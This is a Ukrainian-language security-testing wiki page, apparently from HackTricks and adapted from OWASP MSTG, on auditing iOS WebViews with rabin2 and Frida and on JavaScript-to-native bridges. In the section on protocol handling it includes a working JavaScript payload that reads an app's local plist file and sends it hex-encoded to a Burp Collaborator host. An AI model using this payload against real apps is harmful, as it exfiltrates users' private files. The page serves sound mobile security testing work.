# iOS WebViews {{#include ../../banners/hacktricks-training.md}} Код цієї сторінки був витягнутий з [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Перевірте сторінку для отримання додаткових деталей. ## Типи WebViews WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд: - **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення **JavaScript**, що робить його вразливим до ін'єкцій скриптів та атак **Cross-Site Scripting (XSS)**. - **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, які запобігають автоматичному відкриттю вікон JavaScript і забезпечують безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка. - **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, який можна впізнати за його специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути чітко відображений відповідно до рекомендацій App Store. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; preferences.javaScriptEnabled = NO; WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; config.preferences = preferences; WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config]; ``` ## WebViews Configuration Exploration Summary ### **Static Analysis Overview** У процесі вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації. - **UIWebView Identification** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" ``` Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі. - **Ідентифікація WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" ``` Аналогічно, для **WKWebView** ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання. Крім того, щоб дізнатися, як ініціалізується **WKWebView**, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією: ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" ``` #### **Перевірка конфігурації JavaScript** Для **WKWebView** підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена на `false`, що забезпечує вимкнення JavaScript: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Тільки перевірка безпечного контенту** **WKWebView** пропонує можливість виявлення проблем з змішаним контентом, на відміну від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Інсайти динамічного аналізу** Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цього використовується скрипт з назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом. Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`. ```javascript:webviews_inspector.js ObjC.choose(ObjC.classes["UIWebView"], { onMatch: function (ui) { console.log("onMatch: ", ui) console.log("URL: ", ui.request().toString()) }, onComplete: function () { console.log("done for UIWebView!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("URL: ", wk.URL().toString()) }, onComplete: function () { console.log("done for WKWebView!") }, }) ObjC.choose(ObjC.classes["SFSafariViewController"], { onMatch: function (sf) { console.log("onMatch: ", sf) }, onComplete: function () { console.log("done for SFSafariViewController!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log( "javaScriptEnabled:", wk.configuration().preferences().javaScriptEnabled() ) }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString()) }, }) ``` Скрипт виконується з: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js ``` **Ключові результати**: - Екземпляри WebViews успішно знайдені та перевірені. - Перевірено налаштування активації JavaScript та безпечного контенту. Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту. ## Обробка протоколів WebView Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту. **WebViews** пропонують різні методи для завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог. Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з файлових URL, причому обидва за замовчуванням мають значення false. Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки: ```bash ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); console.log('allowFileAccessFromFileURLs: ', wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); console.log('allowUniversalAccessFromFileURLs: ', wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ``` Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView. ```javascript String.prototype.hexEncode = function () { var hex, i var result = "" for (i = 0; i < this.length; i++) { hex = this.charCodeAt(i).toString(16) result += ("000" + hex).slice(-4) } return result } var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { var xhr2 = new XMLHttpRequest() xhr2.open( "GET", "http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" + xhr.responseText.hexEncode(), true ) xhr2.send(null) } } xhr.open( "GET", "file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist", true ) xhr.send(null) ``` ## Native Methods Exposed Through WebViews ## Understanding WebView Native Interfaces in iOS З iOS 7 Apple надала API для **зв'язку між JavaScript у WebView та нативними** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи: - **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у `JSContext`. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом. - **JSExport Protocol**: Спадкуючи протокол `JSExport`, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод. ### Accessing `JSContext` in Objective-C В Objective-C `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду: ```objc [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"] ``` ### Спілкування з `WKWebView` Для `WKWebView` прямий доступ до `JSContext` недоступний. Натомість використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript спілкуватися з нативними компонентами. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком: ```swift func enableJavaScriptBridge(_ enabled: Bool) { options_dict["javaScriptBridge"]?.value = enabled let userContentController = wkWebViewConfiguration.userContentController userContentController.removeScriptMessageHandler(forName: "javaScriptBridge") if enabled { let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler() userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge") } } ``` ### Взаємодія та Тестування JavaScript може взаємодіяти з рідним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик рідних функцій з веб-сторінки: ```javascript function invokeNativeOperation() { value1 = document.getElementById("value1").value value2 = document.getElementById("value2").value window.webkit.messageHandlers.javaScriptBridge.postMessage([ "multiplyNumbers", value1, value2, ]) } // Alternative method for calling exposed JavaScript functions document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 ``` Щоб захопити та маніпулювати результатом виклику рідної функції, можна переопределити функцію зворотного виклику в HTML: ```html ``` Сторона нативного коду обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції: ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { // Handling "multiplyNumbers" operation case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) // Callback to JavaScript let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) } ``` ## Налагодження iOS WebViews (Посібник, оснований на [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги: - **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_. - **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_. - **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети. Однак, будьте обережні з обмеженнями: - Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari. - Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені таким чином. ## Посилання - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) {{#include ../../banners/hacktricks-training.md}}